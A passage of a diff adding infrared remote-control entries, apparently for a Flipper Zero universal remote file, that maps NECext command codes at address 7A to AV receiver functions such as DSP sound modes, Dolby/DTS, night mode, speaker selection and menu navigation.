+protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_SUR.DECODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_ENTERTAINMENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_TOG:_ENTERTNMNT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_TOG:_SURROUND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSPTOG:_SUR._DECODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_TOG:_SUR._DECODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: STADIUM_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: SURR_DECODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_TOG_SUR._DEC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: STANDARD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: SUR._DECODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DISCO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_TOG:_TV_THEATER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP:_SURR_DECODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_TOG:_ENTERTAIN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: PROGRAM_SUR.DECOD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSP_HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DECOD:_T_SUR.DEC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: DSPTOG:_ROCKCONCERT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: SUR_DECODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 +# +name: MODE_ROCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: MOVIE_THEATER_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: TV_THEATER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: CONCERT_VID_1_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: CONCERT_VIDEO_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: ENTERTAINMENT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: DISCO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: DSP_TV_SPORTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: 7_TV_THEATER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: DSP_TOG:_TV_THEATER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: DSP_STADIUM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: STADIUM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: DSP_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: DSP_TOG:_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: DSP_MOV_THTR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: DSP_TOG:_MOVIETHEATR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: CONCERT_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: DSP:_T_STEREO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: DSPTOG:_MUSIC_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8E 00 00 00 +# +name: MODE_JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: MOVIE_THEATER_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: CONCERT_VID_2_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: CONCERT_VIDEO_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: TV_SPORTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: MOVIE_THEATER_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSP_MOVIE_THEATER_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: 8_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSP_TOG:_MOVIETHEATR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSP_TOG:_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: STADIUM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSP_DISCO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: CONCERT_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSP_TV_THEATER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSP_TOG:_TV_THEATER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: TV_THEATER_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSP_MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSP_MOV_THTR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSP_TOG:_MOVIETHEAT2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: JAZZ_CLUB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DISCO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSP:_T_THX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: DSPTOG:_ENTERTNMNT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8F 00 00 00 +# +name: MODE_CHURCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: DD/DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: TV_THEATER_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: TV_THEATER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: MOVIE_THEATER_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: DSP_MOVIE_THEATER_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: 9_THX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: DSP_TOG:_THX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: DSP_CHURCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: MOVIE_THEATER_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: DSP_MOVIE_THEATER_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: DSP_TOG:_MOVIETHEATR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: MOVIE_1_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: DSP_D_DIGITAL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: DSP_TOG:_DOLBY/DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: CHURCH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: DSPTOG:_MOVIETHEATR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 90 00 00 00 +# +name: MODE_HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: DOLBY/DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: MOVIE_1_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: MOVIE_THEATER_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: MOVIE_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: DOLBY/DTS/AAC_SUR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: 0_DD/_DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: DSP_TOG:_DOLBY/DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: DSP_HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: MOVIE_THEATER_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: DSP_MOVIE_THEATER_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: DSP_TOG:_THX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: MOVIE_2_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: AC-3/DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: DSPTOG:_THX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 91 00 00 00 +# +name: MOVIE_2_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 92 00 00 00 +# +name: MOVIE_THEATER_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 92 00 00 00 +# +name: MOVIE_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 92 00 00 00 +# +name: DOLOBY_SURROUND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 92 00 00 00 +# +name: DOLBY/DTS/AAC_SUR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 92 00 00 00 +# +name: DSP_TOG:_DOLBY/DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 92 00 00 00 +# +name: DSPTOG:_DOLBY/DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 92 00 00 00 +# +name: DOLBY/DTS_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 93 00 00 00 +# +name: DTS/SURR. +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 93 00 00 00 +# +name: DOLBY/DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 93 00 00 00 +# +name: DD/DTS_SURROUND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 93 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 93 00 00 00 +# +name: DOLBY_DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 93 00 00 00 +# +name: DOLBY/DTS_SUR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 93 00 00 00 +# +name: DOLBY/DTS_SURROUND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 93 00 00 00 +# +name: DSP_ENHANCER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: DSP_STEREO/ENHANR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: DSPTOG:_ENHANCER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: DSP_TOG:_ENHANCER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: ENHANCER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: DSP_TOG_ENHANCER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: STEREO_ENHANCER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: DSP:_ENHANCER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: PROGRAM_ST/ENHANC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: DSP:_T_ENHANCER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 94 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 95 00 00 00 +# +name: DSP_NIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 95 00 00 00 +# +name: +10_NIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 95 00 00 00 +# +name: DSP_TOG:_NIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 95 00 00 00 +# +name: NIGHT:_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 95 00 00 00 +# +name: DSP:_NIGHT_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 95 00 00 00 +# +name: DSP_NIGHT_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 95 00 00 00 +# +name: DSP:_T_NIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 95 00 00 00 +# +name: DSPTOG:_NIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 95 00 00 00 +# +name: SELECT_DD/DTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: DSP_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: SURROUND_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: DSP_TOG:_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: DSP_3D_DSP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: DSPTOG:_SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: DSP_TOG_3D_DSP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: DSP_SELECT_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: DSP:_T_3D_DSP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 96 00 00 00 +# +name: MATRIX_6.1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: EX/ES +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: DSP_EXTD_SUR. +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: 6.1/ES_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: 6.1/ES +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: 6.1_ES +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: ENTER_EX/_ES +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: DSP_TOG:_EX/ES +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: DSP_TOG:_EX._SURRND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: DSP_TOG:_EX.SURROUND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: EXT_SUR:_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: SETUP_EXTED_SURR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: EXTENDED_SURROUND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: EXTD._SURR. +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: DSP:_EXTENDED_SURR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: DSP_EXTD_SUR_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: DECOD:_T_EX_SURR. +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: DSPTOG:_EX/ES +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 97 00 00 00 +# +name: DSP_(UP) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: C-UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: LEVEL/SET_MENU:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: MENU:_CURSOR_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: TIME/LEVEL_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: YUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: SET_MENU:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: SET_MENU_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 98 00 00 00 +# +name: DSP_(DOWN) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: C-DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: LEVEL/SET_MENU:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: MENU:_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: TIME/LEVEL_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: C-DWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: YDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: SET_MENU:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: SET_MENU_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 99 00 00 00 +# +name: SPEAKER_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9A 00 00 00 +# +name: SPEAKERS_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9A 00 00 00 +# +name: MZ:_SPKR_A_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9A 00 00 00 +# +name: A_SPEAKERS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9A 00 00 00 +# +name: SPKRS_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9A 00 00 00 +# +name: SPEAKERS_A:_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9A 00 00 00 +# +name: SPKRS_A_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9A 00 00 00 +# +name: MZ:_SPKR_A_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9A 00 00 00 +# +name: SPEAKER_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9B 00 00 00 +# +name: SPEAKERS_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9B 00 00 00 +# +name: MZ:_SPKR_B_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9B 00 00 00 +# +name: B_SPEAKERS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9B 00 00 00 +# +name: SPKRS_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9B 00 00 00 +# +name: SPKRS_B_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9B 00 00 00 +# +name: MZ:_SPKR_B_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9B 00 00 00 +# +name: SETUP_MENU_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: SET_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: DIRECTION_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: SET_MENU_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: SET_MENU:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: MENU:_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: MENU_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: SET_MENU_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: SET_MENU_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: GUI:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: GUI:_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: MENU:_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: SETUP_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: MENU:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: PARAMETER:_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: YMENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: SET_MENU:_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: SET_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: MZ:_SET_CURS_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9C 00 00 00 +# +name: SETUP_MENU_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: DIRECTION_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: SET_MENU_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: SET_MENU:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: MENU_CURSOR_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: SET_MENU_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: SET_MENU_CURSOR_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: GUI:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: GUI:_CURSOR_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: MENU:_CURSOR_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: SETUP_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: MENU:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: MZ:_SET_CURSOR_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9D 00 00 00 +# +name: SETUP_MENU_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: DIRECTION_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: CURSER_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: SET_MENU_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: SET_MENU:_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: MENU_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: SET_MENU_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 00 00 00 +# +name: SET_MENU_CURSOR_RIGH +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 9E 